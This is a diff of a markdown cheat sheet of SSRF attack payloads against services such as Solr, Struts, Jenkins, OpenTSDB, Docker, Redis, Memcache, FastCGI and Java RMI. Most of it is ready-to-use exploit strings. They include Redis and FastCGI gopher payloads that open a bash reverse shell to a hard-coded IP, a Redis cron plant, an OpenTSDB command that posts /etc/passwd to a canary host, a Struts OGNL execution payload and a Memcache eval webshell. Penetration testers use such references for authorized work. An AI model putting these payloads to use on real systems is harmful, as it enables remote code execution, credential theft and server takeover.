+ Taken from [here](https://github.com/veracode-research/solr-injection). -``` +```bash /search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}} /solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json /xxx?q=aaa%26shards=http://SSRF_CANARY/solr @@ -733,7 +747,7 @@ Taken from [here](https://github.com/veracode-research/solr-injection). [Apache Solr 7.0.1 XXE (Packetstorm)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html) -``` +```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""} ``` @@ -742,7 +756,9 @@ Taken from [here](https://github.com/veracode-research/solr-injection). [Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler) -### PeopleSoft + + +## PeopleSoft **Commonly bound ports: 80,443 (SSL)** @@ -750,7 +766,7 @@ Taken from this research [here](https://www.ambionics.io/blog/oracle-peoplesoft- **SSRF Canary: XXE #1** -``` +```http POST /PSIGW/HttpListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml @@ -788,7 +804,7 @@ Content-Type: application/xml **SSRF Canary: XXE #2** -``` +```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml @@ -797,7 +813,9 @@ Content-Type: application/xml ``` -### Apache Struts + + +## Apache Struts **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -807,13 +825,13 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). Append this to the end of every internal endpoint/URL you know of: -``` - +```http ?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()} - ``` -### JBoss + + +## JBoss **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -821,17 +839,19 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: Deploy WAR from URL** -``` +```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war ``` -### Confluence + + +## Confluence **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** -**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)** +**SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)** -``` +```bash /rest/sharelinks/1.0/link?url=https://SSRF_CANARY/ ``` @@ -839,11 +859,14 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -``` +```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -### Jira + + + +## Jira **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -851,7 +874,7 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -``` +```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` @@ -859,29 +882,32 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). [Atlassian Security Ticket JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793) -``` +```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com ``` -### Other Atlassian Products + + +## Other Atlassian Products **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** **SSRF Canary: iconUriServlet (CVE-2017-9506)**: - -* Bamboo < 6.0.0 -* Bitbucket < 4.14.4 -* Crowd < 2.11.2 -* Crucible < 4.3.2 -* Fisheye < 4.3.2 +- Bamboo < 6.0.0 +- Bitbucket < 4.14.4 +- Crowd < 2.11.2 +- Crucible < 4.3.2 +- Fisheye < 4.3.2 [Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344) -``` +```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY ``` -### OpenTSDB + + +## OpenTSDB **Commonly bound port: 4242** @@ -889,11 +915,21 @@ Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/). **SSRF Canary: curl via RCE** -``` +```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png ``` -### Jenkins +[OpenTSDB 2.4.0 Remote Code Execution](https://github.com/OpenTSDB/opentsdb/issues/2051) + +**SSRF Canary: curl via RCE - CVE-2020-35476** + +```bash +/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json +``` + + + +## Jenkins **Commonly bound ports: 80,443 (SSL),8080,8888** @@ -901,7 +937,7 @@ Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play- **SSRF Canary: CVE-2018-1000600** -``` +```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai ``` @@ -909,19 +945,21 @@ Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play- Follow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html) -``` +```bash /org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange; ``` **RCE via Groovy** -```bash +``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay) ``` -### Hystrix Dashboard + + +## Hystrix Dashboard **Commonly bound ports: 80,443 (SSL),8080** @@ -929,11 +967,13 @@ Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1 **SSRF Canary: CVE-2020-5412** -``` +```bash /proxy.stream?origin=http://SSRF_CANARY/ ``` -### W3 Total Cache + + +## W3 Total Cache **Commonly bound ports: 80,443 (SSL)** @@ -943,9 +983,9 @@ W3 Total Cache 0.9.2.6-0.9.3 This needs to be a PUT request: -``` +```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 -Host: +Host: {{Hostname}} Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 @@ -957,7 +997,7 @@ Connection: close **SSRF Canary** -The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3\_total\_cache.html) +The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html) This PHP code will generate a payload for your SSRF Canary host (replace `url` with your canary host): @@ -973,13 +1013,13 @@ echo($req); ?> ``` -### Docker +## Docker **Commonly bound ports: 2375, 2376 (SSL)** -If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker’s API: +If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API: -``` +```bash /containers/json /secrets /services @@ -987,7 +1027,7 @@ If you have a partially blind SSRF, you can use the following paths to verify th **RCE via running an arbitrary docker image** -``` +```http POST /containers/create?name=test HTTP/1.1 Host: website.com Content-Type: application/json @@ -998,30 +1038,34 @@ Content-Type: application/json Replace alpine with an arbitrary image you would like the docker container to run. -### Gitlab Prometheus Redis Exporter +## Gitlab Prometheus Redis Exporter **Commonly bound ports: 9121** -This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0.` +This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0. ` -These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter. +These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter. The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter: -``` +```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=* ``` +---------- + **Possible via Gopher** -### Redis + + +## Redis **Commonly bound port: 6379** Recommended reading: -* [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) -* [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis) +- [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) +- [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis) **RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/) @@ -1035,7 +1079,7 @@ redis-cli -h $1 save Gopher: -``` +```bash gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a ``` @@ -1079,7 +1123,7 @@ if __name__=="__main__": print payload ``` -**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) +**RCE via authorized_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0) ```python import urllib @@ -1122,24 +1166,28 @@ Great writeup from Liveoverflow [here](https://liveoverflow.com/gitlab-11-4-7-re While this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference. -``` +```bash git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git ``` -### Memcache + + +## Memcache **Commonly bound port: 11211** -* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815) -* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392) -* [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell) +- [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815) +- [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392) +- [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell) ```bash gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a ``` -### Apache Tomcat + + +## Apache Tomcat **Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)** @@ -1151,7 +1199,10 @@ CTF writeup using this technique: [From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/) -### FastCGI + + + +## FastCGI **Commonly bound ports: 80,443 (SSL)** @@ -1161,30 +1212,69 @@ This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/). gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00 ``` + + +## Java RMI + +**Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999** + +Blind *SSRF* vulnerabilities that allow arbitrary bytes (*gopher based*) can be used to perform deserialization or +codebase attacks on the *Java RMI* default components (*RMI Registry*, *Distributed Garbage Collector*, *Activation System*). +A detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing +shows an example for the payload generation: + +```console +$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher +[+] Creating ysoserial payload... done. +[+] +[+] Attempting deserialization attack on RMI Registry endpoint... +[+] +[+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...] +``` + +------------------- + **Tools** -### Gopherus + -* [Gopherus - Github](https://github.com/tarunkant/Gopherus) -* [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) +## Gopherus + +- [Gopherus - Github](https://github.com/tarunkant/Gopherus) +- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/) This tool generates Gopher payloads for: -* MySQL -* PostgreSQL -* FastCGI -* Redis -* Zabbix -* Memcache +- MySQL +- PostgreSQL +- FastCGI +- Redis +- Zabbix +- Memcache -### SSRF Proxy -* [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy) + + +## remote-method-guesser + +- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser) +- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/) + +*remote-method-guesser* is a *Java RMI* vulnerability scanner that supports attack operations for most common *Java RMI* +vulnerabilities. Most of the available operations support the ``--ssrf`` option, to generate an *SSRF* payload for the +requested operation. Together with the ``--gopher`` option, ready to use *gopher* payloads can be generated directly. + + + + +## SSRF Proxy + +- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy) SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF). + ## References * [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) -To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
— Хавиж Наффи 🥕 (@nnwakelam) January 13, 2021